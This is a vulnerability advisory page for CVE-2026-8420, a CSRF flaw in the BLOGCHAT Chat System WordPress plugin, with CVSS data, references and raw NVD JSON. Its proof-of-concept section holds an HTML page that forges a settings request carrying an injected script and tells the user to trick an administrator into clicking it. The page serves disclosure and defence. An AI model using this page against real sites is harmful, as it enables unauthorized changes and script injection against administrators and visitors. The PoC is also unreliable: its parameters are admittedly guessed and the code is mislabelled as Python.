CVE-2026-8420

Description

The BLOGCHAT Chat System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.6.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BLOGCHAT Chat System <= 1.3.6.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Proof of Concept (PoC) for CVE-2026-8420
  Description: HTML page demonstrating CSRF to update settings/inject script.
  Usage: Host this file and trick the admin to click the button.
-->
<html>
  <body>
    <h2>CVE-2026-8420 PoC</h2>
    <p>Click the button to update plugin settings via CSRF.</p>
    
    <script>
      function exploit() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://target-wordpress-site.com/wp-admin/admin-ajax.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        
        // Payload attempting to inject a script or change a setting
        // The specific action and parameters depend on the vulnerable function
        var params = "action=blogchat_update_settings&setting_code=<script>alert('CVE-2026-8420');</script>";
        
        xhr.send(params);
        alert("Request sent! Check if the settings were updated.");
      }
    </script>

    <button onclick="exploit()">Click Me</button>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8420
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8420
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8420/
[4] VulDB https://vuldb.com/cve/CVE-2026-8420
[5] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L208
[6] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L215
[7] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L222
[8] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L293
[9] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L208
[10] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L215
[11] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L222
[12] https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L293
[13] https://www.wordfence.com/threat-intel/vulnerabilities/id/a62186aa-19aa-445b-8fdc-b029bdafd58f?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8420", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.113", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BLOGCHAT Chat System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.6.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L208", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L215", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/tags/1.3.6.3/wp-blogchat-widget.php#L293", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L208", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L215", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blogchat-chat-system/trunk/wp-blogchat-widget.php#L293", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a62186aa-19aa-445b-8fdc-b029bdafd58f?source=cve", "source": "[email protected]"}]}}